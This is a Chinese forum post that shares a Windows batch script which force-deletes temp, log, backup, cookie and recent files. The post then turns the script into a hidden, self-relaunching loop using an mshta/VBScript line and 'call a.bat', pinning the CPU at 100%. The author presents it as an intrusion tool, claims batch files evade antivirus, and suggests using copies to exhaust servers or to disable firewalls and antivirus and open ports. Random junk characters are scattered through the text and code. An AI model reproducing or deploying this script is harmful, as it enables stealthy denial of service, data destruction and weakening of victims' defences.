
- 帖子
- 120
- 积分
- 470
- 威望
- 636
- 金钱
- 101
- 在线时间
- 31 小时
   
|
大家经常会看到这个垃圾清除的的BAT程序,也就是很多人所说的30秒清除所有的系统他及程序 说实话这个批处理效果确实不错 ,速度快而且不重不漏!系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善,要是能够自动检测系统中的垃圾文件并且删除那该多好啊!3 `& k/ l: d! z
a.bat源代码如下:' n2 q: P7 y9 ?1 a1 ~* W
4 ^5 J2 d& T) P1 s8 k9 f, Y
' \4 d4 m$ F+ l( w7 \. }===可以直接保存改名a.bat=====================
( A9 p7 Q# A& K5 P( q@echo off- P" s1 O/ k- c9 ~$ `$ I3 h$ f
echo 正在清除系统垃圾文件,请稍等...... + m9 n& ]3 L0 j5 f
@del /f /s /q %systemdrive%\*.tmp 4 y5 \- R$ C; b4 b3 {! T7 @) F
@del /f /s /q %systemdrive%\*._mp * e$ ~" @- T) [& M
@del /f /s /q %systemdrive%\*.log ; s) ]& x' d1 r6 p* F# h
@del /f /s /q %systemdrive%\*.gid
/ _% N4 ?2 u) a* J; ~; b@del /f /s /q %systemdrive%\*.chk
0 v' @. r# W, Z! A3 e3 R) u) z@del /f /s /q %systemdrive%\*.old 7 K6 ~) H$ n5 N5 K4 H
@del /f /s /q %systemdrive%\recycled\*.* + m- [+ M y# H! s0 B$ T7 \) P
@del /f /s /q %windir%\*.bak
0 q/ E3 P- A n8 k+ v: t% |* b@del /f /s /q %windir%\prefetch\*.*
0 C" N; a1 x. F% C4 R@rd /s /q %windir%\temp & md %windir%\temp
" b8 G4 j0 g; x" ?' E2 s3 G@del /f /q %userprofile%\cookies\*.* 1 N5 h7 k& z+ J( E9 K8 f$ k1 X
@del /f /q %userprofile%\recent\*.*
" A+ k" g# e+ D) x. N& N@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
" N6 x7 Q8 U& M: I: @* l) L3 w@del /f /s /q "%userprofile%\Local Settings\Temp\*.*" + \( {, F4 t: W8 A- Q: y, q
@del /f /s /q "%userprofile%\recent\*.*"
& z, F' o, o+ Q8 |echo 清除系统LJ完成!4 J$ n! B/ o' Z9 c8 H5 i) `
其实简单的一句话便实现了那个功能,在“echo 清除系统LJ完成!”后面加上一句 “call a.bat”就OK了,命令的意思大家都懂,我就不做解释了!我运行了一下,到是能够自动检测和删除了,而且关掉对话框也简单,直接关闭就行了!但是如果 被当作入侵工具却又点太暴露,并且那个DOS框始终不能隐藏,很容易被发现.这该怎么办?想想批处理里面的命令,貌似没见到有隐藏对话框的用法(如果有请告诉指教一下!我的QQ:118122875),于是到网上找了一下,决定用VBS代码实现,于是又加上了下面的代码,其实也很简单,也就加了一句话进去:
2 \$ d' q# I# j; x) g6 }" ^
" K1 ^# Q/ p9 m6 N===可以直接保存改名为a.bat(一定要是a.bat哦具体说明原因你应该明白吧======( n5 B# }: X. ^) V! B
@echo off' E! s. X. \- Z4 e6 K, M
if "%1" == "h" goto begin. v/ k/ P) |# d, W8 d" g! I
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit4 ?( c) g% f; a0 s
:begin
7 J) E! ~% q' wecho 正在清除系统垃圾文件,请稍等...... 3 S% q! O- ?: m& C5 n( J' i. a
@@del /f /s /q %systemdrive%\*.tmp
! m7 I% Q! z/ P1 }@del /f /s /q %systemdrive%\*._mp 7 Z( W- O1 I) J- j, j( O7 S+ [7 O. J; U6 P
@del /f /s /q %systemdrive%\*.log 0 G. }+ s! `$ {9 x( B; a
@del /f /s /q %systemdrive%\*.gid ( D& c/ [* F U: }& c7 `0 J: y2 O
@del /f /s /q %systemdrive%\*.chk , Z3 Y2 R) l' Q* A% B
@del /f /s /q %systemdrive%\*.old
' G8 w. D4 S w+ q5 @5 @@del /f /s /q %systemdrive%\recycled\*.*
" O1 K- @ [ [% W4 r9 l@del /f /s /q %windir%\*.bak
[& V! V4 \" p# x( Y$ g# |3 @, P@del /f /s /q %windir%\prefetch\*.* ; F2 I# C1 N2 W% I
@rd /s /q %windir%\temp & md %windir%\temp 9 `; l" u- u9 Z/ t( y1 t
@del /f /q %userprofile%\cookies\*.*
/ ]; b: t! b" A9 i$ A0 t@del /f /q %userprofile%\recent\*.*
$ ]' A6 I( S) H, a/ ]@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
, T" _- e: J/ _/ I3 W! a0 m@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
/ X' K; h% E4 A1 G@del /f /s /q "%userprofile%\recent\*.*"
7 z& j7 n" L& W% c% `: eecho 清除系统LJ完成!" F$ s* ^) M3 R( }: _
call a.bat
( x/ X$ N! _' [7 Y1 c- ]& R; b运行看看!什么效果?: m v5 ?2 k, t# _, X: i
对话框消失了!打开任务管理器查看显示CPU运用:100% 看进程里面cmd.exe占用CPU:99 本来想删除这个进程,但是哪晓得点右键准备去删除那个cmd.exe,没有想到不见了,然后仔细一看,其实cmd.exe没有不见,但是已经PID不一样了,也就表示一个循环已经进行完毕,还没等你来的结束进程就已经进入下一个循环,这时候有的朋友会想可以用taskkill命令来删除进程,但是PID几乎是每2秒换一次,你的速度有那么快?!目前我还没找到解决的办法(高手请指教),无赖只好重新启动...哎!其实这都是雕虫小技,只不过是最基础的东西,但是有的时候最简单的也是最要命的!
% U2 Q% |% x5 ^: | |3 a% P/ G2 R' J9 l1 e
你说,我们可以利用这个BAT做些什么:4 V/ F- J, \& O, a5 X9 x K& W
7 A3 z' C4 R9 O% S' r1.因为bat文件可以躲过杀软!这样利用它的无限循环启动一些你自己的程序,当然咯,重复的循环安装时没有必要的,我只是打个比方,你可以自己改动代码达到自己的目的!4 C3 S9 {$ h B+ V, F9 L
2.它循环使用消耗资源,如果这样的程序多弄几个,全部启动.你说服务器会怎么样?* o$ T, F# Y. s
3.如果我把里面的删除垃圾文件的代码换成关闭防护墙/杀毒和开系统端口和服务的代码,那不是更好?当然这些应用都是我个人的一些分析,没有真正的实验过,我想一个可以成功的通过~不过,这个小东西还有个美中不足,cmd.exe在进程里面看得到,至于怎么隐藏,那就请各位高手指教了,在下刚刚接触批处理,莱鸟一个,有什么不对的地方和我联系啊!我的QQ:118122875 平湖秋月 |
-
1
评分人数
-
|